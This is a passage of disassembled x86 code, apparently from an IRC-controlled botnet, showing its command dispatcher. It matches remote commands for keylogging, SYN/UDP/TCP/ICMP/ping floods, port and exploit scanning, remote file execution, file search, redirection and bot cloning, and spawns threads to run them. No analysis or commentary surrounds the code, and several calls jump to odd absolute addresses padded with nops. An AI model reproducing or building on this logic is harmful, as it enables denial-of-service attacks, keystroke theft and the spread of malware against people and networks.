		lea	eax, [ebp+var_2C4]
		push	offset unk_42B824
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_F68], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FEC]
		push	ebx
		push	eax
		push	offset sub_412661
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_F68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_405D83


loc_405D6D:				; CODE XREF: sub_401ACD+42B4j
		cmp	[ebp+var_F5C], ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_405D6D
; ---------------------------------------------------------------------------


loc_405D83:				; CODE XREF: sub_401ACD+429Ej
		call	near ptr 26908E1h
		nop
		push	eax
		push	offset unk_42B7E8
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405D94:				; CODE XREF: sub_401ACD+41D5j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828C
		push	ebx
		push	21h
		call	sub_40B2F2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DC4
		push	eax
		push	offset unk_42B7A8
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405DC4:				; CODE XREF: sub_401ACD+42EAj
		push	offset unk_42B778
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405DCE:				; CODE XREF: sub_401ACD+41BEj
		push	edi
		push	offset aIdent	; "ident"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EA3
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E69
		push	2
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_405E0C
		push	offset dword_42B750
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405E0C:				; CODE XREF: sub_401ACD+4333j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B724
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FD
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[esi], eax
		jnz	loc_40828C
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset dword_42B6F0
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405E69:				; CODE XREF: sub_401ACD+4327j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828C
		push	ebx
		push	2
		call	sub_40B2F2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E99
		push	eax
		push	offset dword_42B6B8
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405E99:				; CODE XREF: sub_401ACD+43BFj
		push	offset dword_42B698
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405EA3:				; CODE XREF: sub_401ACD+4310j
		push	edi
		push	offset aKeylog	; "keylog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406020
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		mov	edi, offset aFile ; "file"
		test	eax, eax
		pop	ecx
		jz	short loc_405F19
		push	[ebp+arg_10]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405F19
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828C
		push	ebx
		push	23h
		call	sub_40B2F2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405F0F
		push	eax
		push	offset dword_42B64C
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405F0F:				; CODE XREF: sub_401ACD+4435j
		push	offset dword_42B620
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405F19:				; CODE XREF: sub_401ACD+4401j
					; sub_401ACD+4410j
		push	23h
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_405F2F
		push	offset dword_42B600
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405F2F:				; CODE XREF: sub_401ACD+4456j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_10]
		mov	[ebp+var_C5C], eax
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_BD4], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F5C
		mov	[ebp+var_BD0], 1
		jmp	short loc_405F65
; ---------------------------------------------------------------------------


loc_405F5C:				; CODE XREF: sub_401ACD+4481j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_BD0], eax


loc_405F65:				; CODE XREF: sub_401ACD+448Dj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_405F8C
		mov	esi, offset aF_0 ; "#f"
		push	offset dword_43D808
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F8C
		mov	esi, [ebp+var_88]


loc_405F8C:				; CODE XREF: sub_401ACD+44A1j
					; sub_401ACD+44B7j
		push	esi
		lea	eax, [ebp+var_C54]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B5DC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	23h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_C58], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C5C]
		push	ebx
		push	eax
		push	offset byte_411CF5
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_C58]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40600F


loc_405FF9:				; CODE XREF: sub_401ACD+4540j
		cmp	[ebp+var_BCC], ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_405FF9
; ---------------------------------------------------------------------------


loc_40600F:				; CODE XREF: sub_401ACD+452Aj
		call	near ptr 26908E1h
		nop
		push	eax
		push	offset dword_42B5A0
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_406020:				; CODE XREF: sub_401ACD+43E5j
		push	edi
		push	offset aNet	; "net"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406270
		cmp	dword_4CB724, ebx
		jz	short loc_40604F
		cmp	dword_4CB74C, ebx
		jz	short loc_40604F
		push	offset unk_42B564
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_40604F:				; CODE XREF: sub_401ACD+456Ej
					; sub_401ACD+4576j
		cmp	[ebp+var_C], ebx
		jz	loc_406CDF
		mov	edi, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_406074
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_406074:				; CODE XREF: sub_401ACD+4597j
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060C1
		cmp	edi, ebx
		jz	short loc_406095
		push	[ebp+arg_0]
		push	3
		jmp	loc_406127
; ---------------------------------------------------------------------------


loc_406095:				; CODE XREF: sub_401ACD+45BCj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41895C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4060B7
		push	offset unk_42B538
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_4060B7:				; CODE XREF: sub_401ACD+45DEj
		push	offset unk_42B518
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_4060C1:				; CODE XREF: sub_401ACD+45B8j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060DB
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406127
; ---------------------------------------------------------------------------


loc_4060DB:				; CODE XREF: sub_401ACD+4605j
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060F5
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406127
; ---------------------------------------------------------------------------


loc_4060F5:				; CODE XREF: sub_401ACD+461Fj
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40610F
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406127
; ---------------------------------------------------------------------------


loc_40610F:				; CODE XREF: sub_401ACD+4639j
		push	[ebp+arg_10]
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406139
		push	[ebp+arg_0]
		push	1


loc_406127:				; CODE XREF: sub_401ACD+45C3j
					; sub_401ACD+460Cj ...
		call	sub_4186C2
		pop	ecx
		pop	ecx


loc_40612E:				; CODE XREF: sub_401ACD+46A2j
					; sub_401ACD+472Aj ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_406139:				; CODE XREF: sub_401ACD+4653j
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40619E
		cmp	edi, ebx
		jz	short loc_406171
		cmp	[ebp+var_8FC], bl
		jz	short loc_40615E
		push	ebx
		push	edi
		push	1
		jmp	short loc_406167
; ---------------------------------------------------------------------------


loc_40615E:				; CODE XREF: sub_401ACD+4689j
		push	[ebp+esi+var_84]
		push	edi
		push	ebx


loc_406167:				; CODE XREF: sub_401ACD+468Fj
		call	sub_418A99
		add	esp, 0Ch
		jmp	short loc_40612E
; ---------------------------------------------------------------------------


loc_406171:				; CODE XREF: sub_401ACD+4681j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418C8F
		add	esp, 10h
		test	eax, eax
		jz	short loc_406194
		push	offset unk_42B4D0
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_406194:				; CODE XREF: sub_401ACD+46BBj
		push	offset unk_42B4B0
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_40619E:				; CODE XREF: sub_401ACD+467Dj
		push	[ebp+arg_10]
		push	offset aUser	; "user"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406229
		cmp	edi, ebx
		jz	short loc_4061FC
		cmp	[ebp+var_8FC], bl
		jz	short loc_4061CF
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	edi
		push	1
		jmp	short loc_4061EF
; ---------------------------------------------------------------------------


loc_4061CF:				; CODE XREF: sub_401ACD+46EEj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4061EB
		push	esi
		push	edi
		push	ebx
		jmp	short loc_4061EF
; ---------------------------------------------------------------------------


loc_4061EB:				; CODE XREF: sub_401ACD+4717j
		push	ebx
		push	edi
		push	2


loc_4061EF:				; CODE XREF: sub_401ACD+4700j
					; sub_401ACD+471Cj
		call	sub_418DB0
		add	esp, 18h
		jmp	loc_40612E
; ---------------------------------------------------------------------------


loc_4061FC:				; CODE XREF: sub_401ACD+46E6j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4192E0
		add	esp, 10h
		test	eax, eax
		jz	short loc_40621F
		push	offset unk_42B490
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_40621F:				; CODE XREF: sub_401ACD+4746j
		push	offset unk_42B470
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_406229:				; CODE XREF: sub_401ACD+46E2j
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406266
		cmp	edi, ebx
		jz	short loc_40625C
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419594
		add	esp, 10h
		jmp	loc_40612E
; ---------------------------------------------------------------------------


loc_40625C:				; CODE XREF: sub_401ACD+4771j
		push	offset unk_42B444
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_406266:				; CODE XREF: sub_401ACD+476Dj
		push	offset unk_42B428
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_406270:				; CODE XREF: sub_401ACD+4562j
		push	edi
		push	offset aCapture	; "capture"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFE
		push	edi
		push	offset aCap	; "cap"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFE
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D0A
		push	edi
		push	offset aGh	; "gh"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D0A


loc_4062C4:				; CODE XREF: sub_401ACD+3CBEj
					; sub_401ACD+3CEDj ...
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CF0
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CF0
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAD
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAD
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C58
		push	[ebp+arg_8]
		push	offset dword_42BC00
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C58
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEB
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEB
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B87
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B87
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4B
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4B
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADC
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADC
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A56
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A56
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E6
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E6
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089C0
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089C0
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895C
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895C
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408887
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408887
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878C
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878C
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408688
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408688
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E9
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E9
		push	[ebp+arg_8]
		push	offset aJpDe10	; "jp]de10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408458
		push	[ebp+arg_8]
		push	offset aJp10	; "jp]10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408458
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C5
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C5
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B6
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B6
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823F
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823F
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408142
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408142
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40805A
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40805A
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F61
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F61
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F61
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067D7
		push	7Fh
		lea	eax, [ebp+var_327C]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_31FC]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_317C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_30FC]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3074],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_3078],	edi
		mov	[ebp+var_3280],	esi
		call	sub_40B0F7
		add	esp, 3Ch
		mov	[ebp+var_307C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3280]
		push	ebx
		push	eax
		push	offset byte_4146CF
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_307C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4067C6


loc_4067B0:				; CODE XREF: sub_401ACD+4CF7j
		cmp	[ebp+var_3070],	ebx
		jnz	loc_403DA1
		push	32h
		call	near ptr 2680F4Eh
		nop
		jmp	short loc_4067B0
; ---------------------------------------------------------------------------


loc_4067C6:				; CODE XREF: sub_401ACD+4CE1j
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset unk_42B29C
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_4067D7:				; CODE XREF: sub_401ACD+4C37j
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E79
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E79
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406904
		push	7Fh
		lea	eax, [ebp+var_36A4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3624]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_35A4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3524]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A0],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_349C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_36A8],	esi
		push	[ebp+arg_10]
		push	offset dword_42B254
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_34A4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36A8]
		push	ebx
		push	eax
		push	offset byte_413627
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_34A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4068F3


loc_4068DD:				; CODE XREF: sub_401ACD+4E24j
		cmp	[ebp+var_3498],	ebx
		jnz	loc_407279
		push	32h
		call	near ptr 2680F4Eh
		nop
		jmp	short loc_4068DD
; ---------------------------------------------------------------------------


loc_4068F3:				; CODE XREF: sub_401ACD+4E0Ej
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset dword_42B218
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_406904:				; CODE XREF: sub_401ACD+4D49j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D91
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D91
		push	[ebp+arg_8]
		push	offset aJpldg10	; "jpldg10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C53
		push	[ebp+arg_8]
		push	offset aJpl10	; "jpl10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C53
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B56
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B56
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A63
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A63
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795E
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795E
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407866
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407866
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407760
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407760
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407299
		push	[ebp+arg_8]
		push	offset aAdv	; "adv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407299
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407150
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407150
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407150
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407042
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407042
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F18
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F18
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F18
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6F
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6F
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406D17
		push	[ebp+arg_10]
		lea	eax, [ebp+var_47EC]
		push	eax
		call	sub_41BEB0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+arg_10], eax
		lea	eax, [ebp+var_4188]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_18]
